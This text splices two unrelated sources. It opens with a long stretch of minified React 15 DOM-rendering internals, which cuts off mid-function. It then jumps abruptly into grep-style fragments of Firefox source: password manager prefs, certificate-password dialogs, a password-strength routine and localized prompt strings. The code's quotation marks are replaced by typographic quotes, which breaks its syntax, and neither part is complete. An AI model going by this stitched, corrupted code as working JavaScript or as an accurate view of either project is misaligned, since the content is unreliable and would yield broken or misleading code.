a(e)?Array.isArray(e)?e.slice():o(e):[e]}},function(e,t,n){‘use strict’;var o=n(6),a=n(0),r=o.canUseDOM?document.createElement(‘div’):null,i={},d=[1,'<select multiple=”true”>’,'</select>’],s=[1,'<table>’,'</table>’],p=[3,'<table><tbody><tr>’,'</tr></tbody></table>’],l=[1,'<svg xmlns=”http://www.w3.org/2000/svg”>’,'</svg>’],u={“*”:[1,’?<div>’,'</div>’],area:[1,'<map>’,'</map>’],col:[2,'<table><tbody></tbody><colgroup>’,'</colgroup></table>’],legend:[1,'<fieldset>’,'</fieldset>’],param:[1,'<object>’,'</object>’],tr:[2,'<table><tbody>’,'</tbody></table>’],optgroup:d,option:d,caption:s,colgroup:s,tbody:s,tfoot:s,thead:s,td:p,th:p};[‘circle’,’clipPath’,’defs’,’ellipse’,’g’,’image’,’line’,’linearGradient’,’mask’,’path’,’pattern’,’polygon’,’polyline’,’radialGradient’,’rect’,’stop’,’text’,’tspan’].forEach(function(e){u[e]=l,i[e]=!0}),e.exports=function(e){return r?void 0:a(!1),u.hasOwnProperty(e)||(e=’*’),i.hasOwnProperty(e)||(r.innerHTML=’*’===e?'<link />’:'<‘+e+’></’+e+’>’,i[e]=!r.firstChild),i[e]?u[e]:null}},function(e,t,n){‘use strict’;var o=n(54),a=n(4);e.exports={dangerouslyProcessChildrenUpdates:function(e,t){var n=a.getNodeFromInstance(e);o.processUpdates(n,t)}}},function(e,t,n){‘use strict’;function o(e){if(e){var t=e._currentElement._owner||null;if(t){var n=t.getName();if(n)return’ This DOM node was rendered by `’+n+’`.’}}return”}function a(e){if(‘object’==typeof e){if(Array.isArray(e))return'[‘+e.map(a).join(‘, ‘)+’]’;var t=[];for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)){var o=/^[a-z$_][\w$_]*$/i.test(n)?n:JSON.stringify(n);t.push(o+’: ‘+a(e[n]))}return'{‘+t.join(‘, ‘)+’}’}return’string’==typeof e?JSON.stringify(e):’function’==typeof e?'[function object]’:e+”}function r(e,t){t&&(ae[e._tag]&&(null==t.children&&null==t.dangerouslySetInnerHTML?void 0:y(‘137′,e._tag,e._currentElement._owner?’ Check the render method of ‘+e._currentElement._owner.getName()+’.’:”)),null!=t.dangerouslySetInnerHTML&&(null==t.children?void 0:y(’60’),’object’==typeof t.dangerouslySetInnerHTML&&$ in t.dangerouslySetInnerHTML?void 0:y(’61’)),!1,null==t.style||’object’==typeof t.style?void 0:y(’62’,o(e)))}function i(e,t,n,o){if(!(o instanceof L)){var a=e._hostContainerInfo,r=a._node&&a._node.nodeType===J,i=r?a._node:a._ownerDocument;z(t,i),o.getReactMountReady().enqueue(d,{inst:e,registrationName:t,listener:n})}}function d(){var e=this;T.putListener(e.inst,e.registrationName,e.listener)}function s(){var e=this;S.postMountWrapper(e)}function p(){var e=this;D.postMountWrapper(e)}function l(){var e=this;w.postMountWrapper(e)}function u(){W.track(this)}function c(){var e=this;e._rootNodeID?void 0:y(’63’);var t=Y(e);switch(t?void 0:y(’64’),e._tag){case’iframe’:case’object’:e._wrapperState.listeners=[P.trapBubbledEvent(‘topLoad’,’load’,t)];break;case’video’:case’audio’:for(var n in e._wrapperState.listeners=[],te)te.hasOwnProperty(n)&&e._wrapperState.listeners.push(P.trapBubbledEvent(n,te[n],t));break;case’source’:e._wrapperState.listeners=[P.trapBubbledEvent(‘topError’,’error’,t)];break;case’img’:e._wrapperState.listeners=[P.trapBubbledEvent(‘topError’,’error’,t),P.trapBubbledEvent(‘topLoad’,’load’,t)];break;case’form’:e._wrapperState.listeners=[P.trapBubbledEvent(‘topReset’,’reset’,t),P.trapBubbledEvent(‘topSubmit’,’submit’,t)];break;case’input’:case’select’:case’textarea’:e._wrapperState.listeners=[P.trapBubbledEvent(‘topInvalid’,’invalid’,t)];}}function m(){R.postUpdateWrapper(this)}function h(e){de.call(ie,e)||(re.test(e)?void 0:y(’65’,e),ie[e]=!0)}function g(e,t){return 0<=e.indexOf(‘-‘)||null!=t.is}function f(e){var t=e.type;h(t),this._currentElement=e,this._tag=t.toLowerCase(),this._namespaceURI=null,this._renderedChildren=null,this._previousStyle=null,this._previousStyleCopy=null,this._hostNode=null,this._hostParent=null,this._rootNodeID=0,this._domID=0,this._hostContainerInfo=null,this._wrapperState=null,this._topLevelWrapper=null,this._flags=0,!1}var y=n(2),_=n(3),C=n(124),b=n(125),E=n(18),v=n(55),x=n(16),N=n(78),T=n(25),k=n(48),P=n(33),I=n(66),M=n(4),S=n(135),w=n(137),R=n(79),D=n(138),A=n(9),O=n(139),L=n(146),U=n(5),F=n(32),V=n(0),j=n(52),B=n(59),W=n(72),H=n(63),q=n(1),K=T.deleteListener,Y=M.getNodeFromInstance,z=P.listenTo,X=k.registrationNameModules,G={string:!0,number:!0},Q=’style’,$=’__html’,Z={children:null,dangerouslySetInnerHTML:null,suppressContentEditableWarning:null},J=11,ee={};var te={topAbort:’abort’,topCanPlay:’canplay’,topCanPlayThrough:’canplaythrough’,topDurationChange:’durationchange’,topEmptied:’emptied’,topEncrypted:’encrypted’,topEnded:’ended’,topError:’error’,topLoadedData:’loadeddata’,topLoadedMetadata:’loadedmetadata’,topLoadStart:’loadstart’,topPause:’pause’,topPlay:’play’,topPlaying:’playing’,topProgress:’progress’,topRateChange:’ratechange’,topSeeked:’seeked’,topSeeking:’seeking’,topStalled:’stalled’,topSuspend:’suspend’,topTimeUpdate:’timeupdate’,topVolumeChange:’volumechange’,topWaiting:’waiting’},ne={area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0},oe={listing:!0,pre:!0,textarea:!0},ae=_({menuitem:!0},ne),re=/^[a-zA-Z][a-zA-Z:_\.\-\d]*$/,ie={},de={}.hasOwnProperty,se=1;f.displayName=’ReactDOMComponent’,f.Mixin={mountComponent:function(e,t,n,o){this._rootNodeID=se++,this._domID=n._idCounter++,this._hostParent=t,this._hostContainerInfo=n;var a=this._currentElement.props;switch(this._tag){case’audio’:case’form’:case’iframe’:case’img’:case’link’:case’object’:case’source’:case’video’:this._wrapperState={listeners:null},e.getReactMountReady().enqueue(c,this);break;case’input’:S.mountWrapper(this,a,t),a=S.getHostProps(this,a),e.getReactMountReady().enqueue(u,this),e.getReactMountReady().enqueue(c,this);break;case’option’:w.mountWrapper(this,a,t),a=w.getHostProps(this,a);break;case’select’:R.mountWrapper(this,a,t),a=R.getHostProps(this,a),e.getReactMountReady().enqueue(c,this);break;case’textarea’:D.mountWrapper(this,a,t),a=D.getHostProps(this,a),e.getReactMountReady().enqueue(u,this),e.getReactMountReady().enqueue(c,this);}r(this,a);var i,d;null==t?n._tag&&(i=n._namespaceURI,d=n._tag):(i=t._namespaceURI,d=t._tag),(null==i||i===v.svg&&’foreignobject’===d)&&(i=v.html),i===v.html&&(‘svg’===this._tag?i=v.svg:’math’===this._tag&&(i=v.mathml)),this._namespaceURI=i;var m;if(e.useCreateElement){var h=n._ownerDocument,g;if(!(i===v.html))g=h.createElementNS(i,this._currentElement.type);else if(‘script’===this._tag){var f=h.createElement(‘div’),y=this._currentElement.type;f.innerHTML='<‘+y+’></’+y+’>’,g=f.removeChild(f.firstChild)}else g=a.is?h.createElement(this._currentElement.type,a.is):h.createElement(this._currentElement.type);M.precacheNode(this,g),this._flags|=I.hasCachedChildNodes,this._hostParent||N.setAttributeForRoot(g),this._updateDOMProperties(null,a,e);var _=E(g);this._createInitialChildren(e,a,o,_),m=_}else{var b=this._createOpenTagMarkupAndPutListeners(e,a),x=this._createContentMarkup(e,a,o);m=!x&&ne[this._tag]?b+’/>’:b+’>’+x+'</’+this._currentElement.type+’>’}switch(this._tag){case’input’:e.getReactMountReady().enqueue(s,this),a.autoFocus&&e.getReactMountReady().enqueue(C.focusDOMComponent,this);break;case’textarea’:e.getReactMountReady().enqueue(p,this),a.autoFocus&&e.getReactMountReady().enqueue(C.focusDOMComponent,this);break;case’select’:a.autoFocus&&e.getReactMountReady().enqueue(C.focusDOMComponent,this);break;case’button’:a.autoFocus&&e.getReactMountReady().enqueue(C.focusDOMComponent,this);break;case’option’:e.getReactMountReady().enqueue(l,this);}return m},_createOpenTagMarkupAndPutListeners:function(e,t){var n='<‘+this._currentElement.type;for(var o in t)if(t.hasOwnProperty(o)){var a=t[o];if(null!=a)if(X.hasOwnProperty(o))a&&i(this,o,a,e);else{o==Q&&(a&&(!1,a=this._previousStyleCopy=_({},t.style)),a=b.createMarkupForStyles(a,this));var r=null;null!=this._tag&&g(this._tag,t)?!Z.hasOwnProperty(o)&&(r=N.createMarkupForCustomAttribute(o,a)):r=N.createMarkupForProperty(o,a),r&&(n+=’ ‘+r)}}return e.renderToStaticMarkup?n:(this._hostParent||(n+=’ ‘+N.createMarkupForRoot()),n+=’ ‘+N.createMarkupForID(this._domID),n)},_createContentMarkup:function(e,t,n){var o=”,a=t.dangerouslySetInnerHTML;if(null!=a)null!=a.__html&&(o=a.__html);else{var r=G[typeof t.children]?t.children:null,i=null==r?t.children:null;if(null!=r)o=F(r),!1;else if(null!=i){var d=this.mountChildren(i,e,n);o=d.join(”)}}return oe[this._tag]&&’\n’===o.charAt(0)?’\n’+o:o},_createInitialChildren:function(e,t,n,o){var a=t.dangerouslySetInnerHTML;if(null!=a)null!=a.__html&&E.queueHTML(o,a.__html);else{var r=G[typeof t.children]?t.children:null,d=null==r?t.children:null;if(null!=r)”!==r&&(!1,E.queueText(o,r));else if(null!=d)for(var s=this.mountChildren(d,e,n),p=0;p<s.length;p++)E.queueChild(o,s[p])}},receiveComponent:function(e,t,n){var o=this._currentElement;this._currentElement=e,this.updateComponent(t,o,e,n)},updateComponent:function(e,t,n,o){var a=t.props,i=this._currentElement.props;switch(this._tag){case’input’:a=S.getHostProps(this,a),i=S.getHostProps(this,i);break;case’option’:a=w.getHostProps(this,a),i=w.getHostProps(this,i);break;case’select’:a=R.getHostProps(this,a),i=R.getHostProps(this,i);break;case’textarea’:a=D.getHostProps(this,a),i=D.getHostProps(this,i);}switch(r(this,i),this._updateDOMProperties(a,i,e),this._updateDOMChildren(a,i,e,o),this._tag){case’input’:S.updateWrapper(this);break;case’textarea’:D.updateWrapper(this);break;case’select’:e.getReactMountReady().enqueue(m,this);}},_updateDOMProperties:function(e,t,n){var o,a,r;for(o in e)if(!t.hasOwnProperty(o)&&e.hasOwnProperty(o)&&null!=e[o])if(o===Q){var d=this._previousStyleCopy;for(a in d)d.hasOwnProperty(a)&&(r=r||{},r[a]=”);this._previousStyleCopy=null}else X.hasOwnProperty(o)?e[o]&&K(this,o):g(this._tag,e)?Z.hasOwnProperty(o)||N.deleteValueForAttribute(Y(this),o):(x.properties[o]||x.isCustomAttribute(o))&&N.deleteValueForProperty(Y(this),o);for(o in t){var s=t[o],p=o===Q?this._previousStyleCopy:null==e?void 0:e[o];if(t.hasOwnProperty(o)&&s!==p&&(null!=s||null!=p))if(o===Q){if(s?(!1,s=this._previousStyleCopy=_({},s)):this._previousStyleCopy=null,p){for(a in p)!p.hasOwnProperty(a)||s&&s.hasOwnProperty(a)||(r=r||{},r[a]=”);for(a in s)s.hasOwnProperty(a)&&p[a]!==s[a]&&(r=r||{},r[a]=s[a])}else r=s;}else if(X.hasOwnProperty(o))s?i(this,o,s,n):p&&K(this,o);else if(g(this._tag,t))Z.hasOwnProperty(o)||N.setValueForAttribute(Y(this),o,s);else if(x.properties[o]||x.isCustomAttribute(o)){var l=Y(this);null==s?N.deleteValueForProperty(l,o):N.setValueForProperty(l,o,s)}}r&&b.setValueForStyles(Y(this),r,this)},_updateDOMChildren:function(e,t,n,o){var a=G[typeof e.children]?e.children:null,r=G[typeof t.children]?t.children:null,i=e.dangerouslySetInnerHTML&&e.dangerouslySetInnerHTML.__html,d=t.dangerouslySetInnerHTML&&t.dangerouslySetInnerHTML.__html,s=null==a?e.children:null,p=null==r?t.children:null;null!=s&&null==p?this.updateChildren(null,n,o):(null!=a||null!=i)&&!(null!=r||null!=d)&&(this.updateTextContent(”),!1),null==r?null==d?null!=p&&(!1,this.updateChildren(p,n,o)):(i!==d&&this.updateMarkup(”+d),!1):a!==r&&(this.updateTextContent(”+r),!1)},getHostNode:function(){return Y(this)},unmountComponent:function(e){switch(this._tag){case’audio’:case’form’:case’iframe’:case’img’:case’link’:case’object’:case’source’:case’video’:var t=this._wrapperState.listeners;if(t)for(var n=0;n<t.length;n++)t[n].remove();break;case’input’:case’textarea’:W.stopTracking(this);break;case’html’:case’head’:case’body’:y(’66’,this._tag);}this.unmountChildren(e),M.uncacheNode(this),T.deleteAllListeners(this),this._rootNodeID=0,this._domID=0,this._wrapperState=null,!1},getPublicInstance:function(){return Y(this)}},_(f.prototype,f.Mixin,O.Mixin),e.exports=f},function(e,t,n){‘use strict’;var o=n(4),a=n(76);e.exports={focusDOMComponent:function(){a(o.getNodeFromInstance(this))}}},function(e,t,n){‘use strict’;var o=n(77),a=n(6),r=n(9),i=n(126),d=n(128),s=n(129),p=n(131),l=n(1),u=p(function(e){return s(e)}),c=!1,m=’cssFloat’;if(a.canUseDOM){var h=document.createElement(‘div’).style;try{h.font=”}catch(t){c=!0}document.documentElement.style.cssFloat===void 0&&(m=’styleFloat’)}e.exports={createMarkupForStyles:function(e,t){var n=”;for(var o in e)if(e.hasOwnProperty(o)){var a=0===o.indexOf(‘–‘),r=e[o];!1,null!=r&&(n+=u(o)+’:’,n+=d(o,r,t,a)+’;’)}return n||null},setValueForStyles:function(e,t,n){var a=e.style;for(var r in t)if(t.hasOwnProperty(r)){var i=0===r.indexOf(‘–‘);var s=d(r,t[r],n,i);if((‘float’==r||’cssFloat’==r)&&(r=m),i)a.setProperty(r,s);else if(s)a[r]=s;else{var p=c&&o.shorthandPropertyExpansions[r];if(p)for(var l in p)a[l]=”;else a[r]=”}}}}},function(e,t,n){‘use strict’;var o=n(127),a=/^-ms-/;e.exports=function(e){return o(e.replace(a,’ms-‘))}},function(e){‘use strict’;var t=/-(.)/g;e.exports=function(e){return e.replace(t,function(e,t){return t.toUpperCase()})}},function(e,t,n){‘use strict’;var o=n(77),a=n(1),r=o.isUnitlessNumber;e.exports=function(e,t,n,o){var a=null==t||’boolean’==typeof t||”===t;if(a)return”;var i=isNaN(t);if(o||i||0===t||r.hasOwnProperty(e)&&r[e])return”+t;if(‘string’==typeof t){t=t.trim()}return t+’px’}},function(e,t,n){‘use strict’;var o=n(130),a=/^ms-/;e.exports=function(e){return o(e).replace(a,’-ms-‘)}},function(e){‘use strict’;var t=/([A-Z])/g;e.exports=function(e){return e.replace(t,’-$1′).toLowerCase()}},function(e){‘use strict’;e.exports=function(e){var t={};return function(n){return t.hasOwnProperty(n)||(t[n]=e.call(this,n)),t[n]}}},function(e,t,n){‘use strict’;var o=n(32);e.exports=function(e){return'”‘+o(e)+'”‘}},function(e,t,n){‘use strict’;function o(e){a.enqueueEvents(e),a.processEventQueue(!1)}var a=n(25);e.exports={handleTopLevel:function(e,t,n,r){var i=a.extractEvents(e,t,n,r);o(i)}}},function(e,t,n){‘use strict’;function o(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n[‘Webkit’+e]=’webkit’+t,n[‘Moz’+e]=’moz’+t,n[‘ms’+e]=’MS’+t,n[‘O’+e]=’o’+t.toLowerCase(),n}var a=n(6),r={animationend:o(‘Animation’,’AnimationEnd’),animationiteration:o(‘Animation’,’AnimationIteration’),animationstart:o(‘Animation’,’AnimationStart’),transitionend:o(‘Transition’,’TransitionEnd’)},i={},d={};a.canUseDOM&&(d=document.createElement(‘div’).style,!(‘AnimationEvent’in window)&&(delete r.animationend.animation,delete r.animationiteration.animation,delete r.animationstart.animation),!(‘TransitionEvent’in window)&&delete r.transitionend.transition),e.exports=function(e){if(i[e])return i[e];if(!r[e])return e;var t=r[e];for(var n in t)if(t.hasOwnProperty(n)&&n in d)return i[e]=t[n];return”}},function(e,t,n){‘use strict’;function o(){this._rootNodeID&&h.updateWrapper(this)}function a(e){var t=’checkbox’===e.type||’radio’===e.type;return t?null!=e.checked:null!=e.value}function r(e){var t=this._currentElement.props,n=p.executeOnChange(t,e);u.asap(o,this);var a=t.name;if(‘radio’===t.type&&null!=a){for(var r=l.getNodeFromInstance(this),d=r;d.parentNode;)d=d.parentNode;for(var s=d.querySelectorAll(‘input[name=’+JSON.stringify(”+a)+’][type=”radio”]’),c=0,m;c<s.length;c++)if(m=s[c],m!==r&&m.form===r.form){var h=l.getInstanceFromNode(m);h?void 0:i(’90’),u.asap(o,h)}}return n}var i=n(2),d=n(3),s=n(78),p=n(57),l=n(4),u=n(11),c=n(0),m=n(1),h={getHostProps:function(e,t){var n=p.getValue(t),o=p.getChecked(t),a=d({type:void 0,step:void 0,min:void 0,max:void 0},t,{defaultChecked:void 0,defaultValue:void 0,value:null==n?e._wrapperState.initialValue:n,checked:null==o?e._wrapperState.initialChecked:o,onChange:e._wrapperState.onChange});return a},mountWrapper:function(e,t){var n=t.defaultValue;e._wrapperState={initialChecked:null==t.checked?t.defaultChecked:t.checked,initialValue:null==t.value?n:t.value,listeners:null,onChange:r.bind(e),controlled:a(t)}},updateWrapper:function(e){var t=e._currentElement.props;var n=t.checked;null!=n&&s.setValueForProperty(l.getNodeFromInstance(e),’checked’,n||!1);var o=l.getNodeFromInstance(e),a=p.getValue(t);if(!(null!=a))null==t.value&&null!=t.defaultValue&&o.defaultValue!==”+t.defaultValue&&(o.defaultValue=”+t.defaultValue),null==t.checked&&null!=t.defaultChecked&&(o.defaultChecked=!!t.defaultChecked);else if(0===a&&”===o.value)o.value=’0′;else if(‘number’===t.type){var r=parseFloat(o.value,10)||0;(a!=r||a==r&&o.value!=a)&&(o.value=”+a)}else o.value!==”+a&&(o.value=”+a)},postMountWrapper:function(e){var t=e._currentElement.props,n=l.getNodeFromInstance(e);switch(t.type){case’submit’:case’reset’:break;case’color’:case’date’:case’datetime’:case’datetime-local’:case’month’:case’time’:case’week’:n.value=”,n.value=n.defaultValue;break;default:n.value=n.value;}var o=n.name;”!==o&&(n.name=”),n.defaultChecked=!n.defaultChecked,n.defaultChecked=!n.defaultChecked,”!==o&&(n.name=o)}};e.exports=h},function(e){‘use strict’;e.exports=’SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED’},function(e,t,n){‘use strict’;function o(e){var t=”;return r.Children.forEach(e,function(e){null==e||(‘string’==typeof e||’number’==typeof e?t+=e:!p&&(p=!0,void 0))}),t}var a=n(3),r=n(13),i=n(4),d=n(79),s=n(1),p=!1;e.exports={mountWrapper:function(e,t,n){var a=null;if(null!=n){var r=n;’optgroup’===r._tag&&(r=r._hostParent),null!=r&&’select’===r._tag&&(a=d.getSelectValueContext(r))}var s=null;if(null!=a){var p;if(p=null==t.value?o(t.children):t.value+”,s=!1,Array.isArray(a)){for(var l=0;l<a.length;l++)if(”+a[l]===p){s=!0;break}}else s=”+a===p}e._wrapperState={selected:s}},postMountWrapper:function(e){var t=e._currentElement.props;if(null!=t.value){var n=i.getNodeFromInstance(e);n.setAttribute(‘value’,t.value)}},getHostProps:function(e,t){var n=a({selected:void 0,children:void 0},t);null!=e._wrapperState.selected&&(n.selected=e._wrapperState.selected);var r=o(t.children);return r&&(n.children=r),n}}},function(e,t,n){‘use strict’;function o(){this._rootNodeID&&c.updateWrapper(this)}function a(e){var t=this._currentElement.props,n=d.executeOnChange(t,e);return p.asap(o,this),n}var r=n(2),i=n(3),d=n(57),s=n(4),p=n(11),l=n(0),u=n(1),c={getHostProps:function(e,t){null==t.dangerouslySetInnerHTML?void 0:r(’91’);var n=i({},t,{value:void 0,defaultValue:void 0,children:”+e._wrapperState.initialValue,onChange:e._wrapperState.onChange});return n},mountWrapper:function(e,t){var n=d.getValue(t),o=n;if(null==n){var i=t.defaultValue,s=t.children;null!=s&&(!1,null==i?void 0:r(’92’),Array.isArray(s)&&(1>=s.length?void 0:r(’93’),s=s[0]),i=”+s),null==i&&(i=”),o=i}e._wrapperState={initialValue:”+o,listeners:null,onChange:a.bind(e)}},updateWrapper:function(e){var t=e._currentElement.props,n=s.getNodeFromInstance(e),o=d.getValue(t);if(null!=o){var a=”+o;a!==n.value&&(n.value=a),null==t.defaultValue&&(n.defaultValue=a)}null!=t.defaultValue&&(n.defaultValue=t.defaultValue)},postMountWrapper:function(e){var t=s.getNodeFromInstance(e),n=t.textContent;n===e._wrapperState.initialValue&&(t.value=n)}};e.exports=c},function(e,t,n){‘use strict’;function o(e,t,n){return{type:’INSERT_MARKUP’,content:e,fromIndex:null,fromNode:null,toIndex:n,afterNode:t}}function a(e,t,n){return{type:’MOVE_EXISTING’,content:null,fromIndex:e._mountIndex,fromNode:g.getHostNode(e),toIndex:n,afterNode:t}}function r(e,t){return{type:’REMOVE_NODE’,content:null,fromIndex:e._mountIndex,fromNode:t,toIndex:null,afterNode:null}}function i(e){return{type:’SET_MARKUP’,content:e,fromIndex:null,fromNode:null,toIndex:null,afterNode:null}}function d(e){return{type:’TEXT_CONTENT’,content:e,fromIndex:null,fromNode:null,toIndex:null,afterNode:null}}function s(e,t){return t&&(e=e||[],e.push(t)),e}function p(e,t){u.processChildrenUpdates(e,t)}var l=n(2),u=n(58),c=n(27),m=n(9),h=n(8),g=n(17),f=n(140),y=n(5),_=n(145),C=n(0);e.exports={Mixin:{_reconcilerInstantiateChildren:function(e,t,n){return f.instantiateChildren(e,t,n)},_reconcilerUpdateChildren:function(e,t,n,o,a,r){var i=0,d;return d=_(t,i),f.updateChildren(e,d,n,o,a,this,this._hostContainerInfo,r,i),d},mountChildren:function(e,t,n){var o=this._reconcilerInstantiateChildren(e,t,n);this._renderedChildren=o;var a=[],r=0;for(var i in o)if(o.hasOwnProperty(i)){var d=o[i];var s=g.mountComponent(d,t,this,this._hostContainerInfo,n,0);d._mountIndex=r++,a.push(s)}return!1,a},updateTextContent:function(e){var t=this._renderedChildren;for(var n in f.unmountChildren(t,!1),t)t.hasOwnProperty(n)&&l(‘118’);var o=[d(e)];p(this,o)},updateMarkup:function(e){var t=this._renderedChildren;for(var n in f.unmountChildren(t,!1),t)t.hasOwnProperty(n)&&l(‘118’);var o=[i(e)];p(this,o)},updateChildren:function(e,t,n){this._updateChildren(e,t,n)},_updateChildren:function(e,t,n){var o=Math.max,a=this._renderedChildren,r={},i=[],d=this._reconcilerUpdateChildren(a,e,i,r,t,n);if(d||a){var l=null,u=0,c=0,m=0,h=null,f;for(f in d)if(d.hasOwnProperty(f)){var y=a&&a[f],_=d[f];y===_?(l=s(l,this.moveChild(y,h,u,c)),c=o(y._mountIndex,c),y._mountIndex=u):(y&&(c=o(y._mountIndex,c)),l=s(l,this._mountChildAtIndex(_,i[m],h,u,t,n)),m++),u++,h=g.getHostNode(_)}for(f in r)r.hasOwnProperty(f)&&(l=s(l,this._unmountChild(a[f],r[f])));l&&p(this,l),this._renderedChildren=d,!1}},unmountChildren:function(e){var t=this._renderedChildren;f.unmountChildren(t,e),this._renderedChildren=null},moveChild:function(e,t,n,o){if(
* Quirk: Use border-box box sizing for text inputs, password inputs, and
chrome/toolkit/skin/classic/global/passwordmgr.css/* This Source Code Form is subject to the terms of the Mozilla Public
pref(“security.ask_for_password”, 0);
pref(“security.password_lifetime”, 30);
pref(“signon.recipes.path”, “chrome://passwordmgr/content/recipes.json”);
// This temporarily prevents the master password to reprompt for autocomplete.
pref(“urlclassifier.passwordAllowTable”, “goog-passwordwhite-proto”);
pref(“urlclassifier.disallow_completions”, “test-malware-simple,test-harmful-simple,test-phish-simple,test-unwanted-simple,test-track-simple,test-trackwhite-simple,test-block-simple,goog-downloadwhite-digest256,base-track-digest256,mozstd-trackwhite-digest256,content-track-digest256,mozplugin-block-digest256,mozplugin2-block-digest256,block-flash-digest256,except-flash-digest256,allow-flashallow-digest256,except-flashallow-digest256,block-flashsubdoc-digest256,except-flashsubdoc-digest256,goog-passwordwhite-proto,ads-track-digest256,social-track-digest256,analytics-track-digest256,base-fingerprinting-track-digest256,content-fingerprinting-track-digest256,base-cryptomining-track-digest256,content-cryptomining-track-digest256,fanboyannoyance-ads-digest256,fanboysocial-ads-digest256,easylist-ads-digest256,easyprivacy-ads-digest256,adguard-ads-digest256”);
pref(“browser.safebrowsing.provider.google4.lists”, “goog-badbinurl-proto,goog-downloadwhite-proto,goog-phish-proto,googpub-phish-proto,goog-malware-proto,goog-unwanted-proto,goog-harmful-proto,goog-passwordwhite-proto”);
pref(“services.sync.engine.passwords”, true);
pref(“services.sync.engine.passwords.validation.interval”, 86400); // 24 hours in seconds
pref(“services.sync.engine.passwords.validation.percentageChance”, 10);
pref(“services.sync.engine.passwords.validation.maxRecords”, 1000);
msgName = “pk11-bad-password”;
let password = {};
if (certdialogs.setPKCS12FilePassword(window, password)) {
selected_certs, password.value);
let password = {};
certdialogs.getPKCS12FilePassword(window, password)) {
errorCode = certdb.importPKCS12File(fp.file, password.value);
password.value.length == 0) {
// It didn’t like empty string password, try no password.
chrome/pippki/content/pippki/changepassword.js/* This Source Code Form is subject to the terms of the Mozilla Public
// If the token is unitialized, don’t use the old password box.
msgBox.setAttribute(“value”, bundle.getString(“password_not_set”));
// Select first password field
// Select old password field
// empty passwords are not allowed in FIPS mode
// We weigh the quality of the password by checking the number of:
// was called with the intention to change the password.
// The token currently uses an empty password.
// We will not allow changing the password from empty to empty.
chrome/pippki/content/pippki/changepassword.xul<?xml version=”1.0″?>
<dialog id=”set_password” title=”&setPassword.title;”
src=”chrome://pippki/content/changepassword.js”/>
<textbox id=”oldpw” type=”password”/>
& ‘disabled’ property of the ‘oldpw’ textbox toggle between [‘password’ &
<textbox id=”pw1″ type=”password”
<textbox id=”pw2″ type=”password” oninput=”checkPasswords();”/>
window.openDialog(“changepassword.xul”, “”, “chrome,centerscreen,modal”,
// A restriction of FIPS mode is, the password must be set
// In FIPS mode the password must be non-empty.
// Token has either no or an empty password.
doPrompt(“fips-nonempty-password-required”);
chrome/pippki/content/pippki/resetpassword.js/* This Source Code Form is subject to the terms of the Mozilla Public
chrome/pippki/content/pippki/resetpassword.xul<?xml version=”1.0″?>
<dialog id=”reset_password” title=”&resetPassword.title;”
<script type=”application/javascript” src=”chrome://pippki/content/resetpassword.js”/>
chrome/pippki/content/pippki/setp12password.js/* This Source Code Form is subject to the terms of the Mozilla Public
* @file Implements the functionality of setp12password.xul: a dialog that lets
* the user confirm the password to set on a PKCS #12 file.
* Set to true if the user entered two matching passwords and
* @property {String} password
* The password the user entered. Undefined value if
// Ensure the first password textbox has focus.
let password = document.getElementById(“pw1”).value;
retVals.setPropertyAsAString(“password”, password);
* Calculates the strength of the given password, suitable for use in updating
* The strength of the password is calculated by checking the number of:
* @param {String} password
* The password to calculate the strength of.
* The strength of the password in the range [0, 100].
function getPasswordStrength(password) {
let lengthStrength = password.length;
let nonNumericChars = password.replace(/[0-9]/g, “”);
let numericStrength = password.length – nonNumericChars.length;
let nonSymbolChars = password.replace(/\W/g, “”);
let symbolStrength = password.length – nonSymbolChars.length;
let nonUpperAlphaChars = password.replace(/[A-Z]/g, “”);
let upperAlphaStrength = password.length – nonUpperAlphaChars.length;
* oninput() handler for both password textboxes.
* Whether to recalculate the strength of the first password.
// Disable the accept button if the two passwords don’t match, and enable it
// if the passwords do match.
chrome/pippki/content/pippki/setp12password.xul<?xml version=”1.0″?>
<dialog id=”setp12password”
title=”&pkcs12.setpassword.title;”
src=”chrome://pippki/content/setp12password.js”/>
<description>&pkcs12.setpassword.message;</description>
<label flex=”1″ value=”&pkcs12.setpassword.label1;”/>
<textbox id=”pw1″ type=”password” oninput=”onPasswordInput(true);”/>
<label flex=”1″ value=”&pkcs12.setpassword.label2;”/>
<textbox id=”pw2″ type=”password” oninput=”onPasswordInput(false);”/>
<description>&pkcs12.setpassword.reminder;</description>
passwordtext = password text
passwordtextAbbr = passwdtxt
EnterLoginForRealm3=%2$S is requesting your username and password. The site says:
EnterLoginForProxy3=The proxy %2$S is requesting a username and password. The site says:
EnterUserPasswordFor2=%1$S is requesting your username and password.
EnterUserPasswordForCrossOrigin2=%1$S is requesting your username and password. WARNING: Your password will not be sent to the website you are currently visiting!
EnterPasswordFor=Enter password for %1$S on %2$S
chrome/en-US/locale/en-US/passwordmgr/passwordManager.dtd<!– This Source Code Form is subject to the terms of the Mozilla Public
<!ENTITY treehead.password.label “Password”>
chrome/en-US/locale/en-US/passwordmgr/passwordmgr.properties
rememberPassword = Use Password Manager to remember this password.
saveLoginMsgNoUser = Would you like %1$S to save this password for %2$S?
updateLoginMsgNoUser = Would you like to update this password?
rememberPasswordMsg = Would you like to remember the password for
rememberPasswordMsgNoUsername = Would you like to remember the password on %S?
togglePasswordLabel=Show password
passwordChangeTitle = Confirm Password Change
updatePasswordMsg = Would you like to update the saved password for
updatePasswordMsgNoUser = Would you like to update the saved password?
noMasterPasswordPrompt=Are you sure you wish to show your passwords?
removeAllPasswordsPrompt=Are you sure you wish to remove all passwords?
removeAllPasswordsTitle=Remove all passwords
SEC_ERROR_BAD_PASSWORD=The security password entered is incorrect.
SEC_ERROR_RETRY_PASSWORD=New password entered incorrectly. Please try again.
SEC_ERROR_PKCS12_INVALID_MAC=Unable to import. Invalid MAC. Incorrect password or corrupt file.
SEC_ERROR_PKCS12_UNSUPPORTED_TRANSPORT_MODE=Unable to import. Only password integrity and privacy modes supported.
SEC_ERROR_PKCS12_PRIVACY_PASSWORD_INCORRECT=Unable to import. Incorrect privacy password.
SEC_ERROR_RETRY_OLD_PASSWORD=Old password entered incorrectly. Please try again.
SEC_ERROR_EXPIRED_PASSWORD=The password expired.
SEC_ERROR_LOCKED_PASSWORD=The password is locked.
CertPassPrompt=Please enter the master password for the %S.
CertPassPromptDefault=Please enter your master password.
<!– Values for changepassword.xul –>
